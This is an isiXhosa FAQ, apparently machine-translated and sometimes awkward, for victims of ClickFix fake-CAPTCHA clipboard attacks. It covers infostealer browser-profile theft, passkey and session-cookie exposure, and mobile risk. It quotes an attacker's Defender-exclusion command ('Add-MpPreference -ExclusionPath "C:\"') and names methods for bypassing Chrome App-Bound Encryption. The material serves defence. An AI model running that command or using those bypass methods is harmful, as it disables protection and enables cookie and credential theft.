Hayi, ukhuselekile ngokupheleleyo. Iphepha lewebhu lomkhangeli linokukopa okubhaliweyo kwibhodi eqhotyoshwayo usebenzisa iJavaScript (navigator.clipboard.writeText), kwaye ucinezela Win + R ilandelwa ngu Ctrl + V uncamathisela nje loo mtya wokubhaliweyo kwibhokisi yongeniso ye-Windows Run. Akukho nto isebenzayo de ucinezele Ngena okanye cofa KULUNGILE. Ukuba ucofa Rhoxisa okanye ivale i Baleka ibhokisi ngaphandle kokucinezela Ngena, akukho myalelo waziswayo. Cima ngokulula ibhodi eqhotyoshwayo ngokukopa igama elingenabungozi njengalo molo kwiNotepad kwaye uvale ithebhu yesikhangeli esingalunganga.

Kutheni iWindows Defender okanye i-antivirus yam ingavimbanga umyalelo xa ndiwuncamathisela kuyo Win + R?¶

Kuba wena-umsebenzisi ongene-ngaphakathi-ucinezelwe ngokwasemzimbeni Win + R kwaye ubethe Ngena, IWindows ithatha umyalelo njengesenzo solawulo esimiselwe ngokusuka explorer.exe kunokuba ifayile engathembekanga ekhutshelweyo kwi-intanethi (eqhele ukuthwala iPhawu-ye-Web Indawo.Isichongi ithegi). Ngaphaya koko, amatyathanga e-ClickFix asebenzisa i-binaries ezakhelwe ngaphakathi zikaMicrosoft (mshta.exe, powershell.exe, conhost.exe, okanye batyikitye iitoliki zomntu wesithathu ezifana AutoIt3.exe) ukudibanisa kunye nokususa ukuntsonkotha komthwalo wokuhlawula ngokuthe ngqo kwi-RAM, rhoqo kusenziwa Add-MpPreference -ExclusionPath "C:\" kwimillisecond yokuqala phambi kokubhala nayiphi na ifayile yemalware eyaziwayo kwidiski.

Ngaba ulwazi-usela iifayile kuzo zonke iiakhawunti zomsebenzisi kwiPC yam, okanye iprofayile yam engenisiweyo kuphela (Default vs. Profile 1, Profile 2)?¶

Info-stealers scan yonke ifolda yeprofayile yomkhangeli zincwadi ngaphakathi kwiakhawunti yakho yomsebenzisi kaWindows (%LocalAppData%\Google\Chrome\User Data\Default, Iprofayile 1, Iprofayile yesi-2, njl., kwi-Chrome, Edge, Brave, Opera, kunye neFirefox), nokuba ezo profayile zebrawuza zesibini zazingenafestile evulekileyo ngelo xesha. Oko kuthetha ukuba ugcina iprofayile ye-Chrome "yoMsebenzi" kunye neprofayile ye-Chrome "yobuqu" phantsi kwegama elifanayo leWindows, zombini iinkangeleko zinegama eligqithisiweyo eligciniweyo kunye neekuki zeseshoni zabiwa ngaxeshanye.

Bekunokuthini ukuba bendisebenzisa iPasskey kwiakhawunti yam kaGoogle okanye yeMicrosoft- ngaba lolwazi uye weba iPasskey yam?¶

Kuxhomekeke apho iPasskey igcinwe khona, kwaye okona kubaluleke kakhulu, ngokuqinisekileyo ibibile i-cookie yeseshoni esebenzayo eyenziwe emva kokuba ungene ngePasskey. Okokuqala, ukuba ubusele ungenile kuGoogle/Microsoft kwiChrome/Edge kule PC, umhlaseli akayidingi iPasskey yakho kuba ubile i-cookie yeseshoni eqinisekisiweyo-ngoko kufuneka ucofe. Phuma kuzo zonke iiseshini kwisixhobo esicocekileyo. Okwesibini, ukuba iPasskey yakho ibigcinwe kwiWindows Hello (TPM 2.0 chip yehardware) okanye kwiYubiKey okanye i-iPhone, isitshixo sabucala ngaphakathi kwi-chip yehardware ayinakuthunyelwa ngaphandle nge-malware. Nangona kunjalo, ukuba ugcine izitshixo zokugqitha ezivumelanisiweyo ngaphakathi kwendawo evulekileyo yokongeza i-browser yomntu wesithathu kuloo PC, rhoxisa ezo passkeys kuseto lokhuseleko lweakhawunti yakho kwangoko.

Injani iGoogle Chrome "i-App-Bound Encryption" (v20 cookies) echaphazelekayo, kwaye yenza Lumma Stealer ukuyigqitha?¶

Ukuqala kwiChrome 127+, uGoogle wazisa iApp-Bound Encryption kwiWindows, ebophelela uguqulelo oluntsonkothileyo lwekuki (`v20` isimaphambili) kwinkonzo yenkqubo yeWindows ephakamileyo (`GoogleChromeElevationService`) ukuyekisa ilungelo eliphantsi le-malware ekuguquleleni iikuki. Nangona kunjalo, izakhiwo zanamhlanje ze Lumma Stealer, StealC, kwaye Medusa ngenkuthalo ugqitha ufihlo lwe-App-Bound ngokufaka ikhowudi ngokuthe ngqo kumzekelo ongenantloko we chrome.exe, ukusebenzisa kakubi izibuko le-Chrome elikude le-debugging (--i-remote-debugging-port), okanye ukuphakamisa amalungelo okufowunela i IElevator Ujongano lweCOM. Ungaze ucinge ukuba i-Chrome 127+ ikhusele iikuki zeseshoni yakho ukuba uphumeze umthwalo we-ClickFix; soloko urhoxisa zonke iiseshini ngokukhawuleza.

Ngaba umyalelo weClickFix owenziwe kwi-iPhone yam okanye kwifowuni ye-Android yosulela ifowuni yam ngayo Win + R malware?¶

Ukuba ucofe iCAPTCHA yobuxoki kwi-iPhone (`iOS`) okanye ifowuni ye-Android, nayiphi na iWindows PowerShell / mshta.exe Umyalelo ukhutshelwe kwibhodi eqhotyoshwayo ephathwayo ayikwazi ukwenza kwi-iOS okanye kwi-Android, kuba iinkqubo zokusebenza eziphathwayo azinayo a Win + R Qhuba ingxoxo, powershell.exe, okanye mshta.exe. Nangona kunjalo, amanye amaphepha e-ClickFix awaziyo iselfowuni abona i-Agent-Agent yakho yeselula kwaye akuthumele kwakhona ukuba ufake i-Android engalunganga. .apk ifayile, i-iOS ekhohlakeleyo yoLawulo lweSixhobo (`MDM`) iprofayile yoqwalaselo, okanye iPWA/Web Push yesaziso sorhumo oluyingozi. Khangela ukuba awuzange ufake nayiphi na ifayile ekhutshelweyo okanye iprofayile.

Izikhokelo ezinxulumeneyo¶

• Ukuqweqwediswa kweekuki zeseshoni, i-infostealer malware, kunye nokurhoxiswa kwesitshixo sokugqitha
• I-Cryptocurrency wallet drain kunye nebinzana lembewu yokulalanisa
• I-Malware, i-ransomware, kunye nosulelo lwe-spyware
• I-akhawunti ye-imeyile igqekeziwe, imithetho yokuthumela, kunye nokubuyisela
• Ikhonkco lonikezelo npm/PyPI ipakethe yokulalanisa kunye nokujikeleziswa kwesitshixo sophuhlisi
• I-antivirus yenkohliso, i-scareware yesaziso, kunye nesikhangeli sokutyhala imvume yokucoca
• Amanani kaxakeka ngokwelizwe

Imithombo kunye nezikhokelo ezisemthethweni¶

• I-Arhente yoKhuseleko lwe-Cybersecurity kunye ne-Infrastructure Security Agency (CISA) kunye neQumrhu loPhando (FBI) (eUnited States): INgcebiso ngokuHlangeneyo kwiCybersecurity (AA24-131A / Infostealer & Lumma Stealer Threat Advisories): Ukunciphisa iLiving-off-the-Land (LOLBin) kunye neSession Token Theft Attacks.
• Iziko leSizwe leMigangatho kunye neTekhnoloji (NIST) (eUnited States): * Ushicilelo olukhethekileyo lwe-800-61 Rev. 2: Isikhokelo soKhuseleko lweKhompyutha yokusingatha iSihlo kunye ne-SP 800-63B: Izikhokelo zeSizisi seDijithali (uLawulo lweSeshini kunye nokuqinisekiswa kwakhona) *.
• Microsoft Threat Intelligence (Microsoft Security): Ukuhlalutya iiPhulo zobuNjineli beNtlalo ye-ClickFix, I-Fake CAPTCHA Clipboard Injection (RunMRU), kunye ne-PowerShell Script Block Logging (Event ID 4104).
• Iziko leSizwe loKhuseleko lweCyber (NCSC) (eUnited Kingdom): Ukunciphisa iMalware kunye noHlaselo lweRansomware kunye neNqanaba lesiXhobo seCredential Theft Guidance.
• I-Arhente yeManyano yaseYurophu yoKhuseleko kwiCybersecurity (ENISA): ENISA Threat Landscape Report: Info-Stealers (Lumma, StealC, RedLine, AMOS) kunye neSession Cookie Hijacking Countermeasures.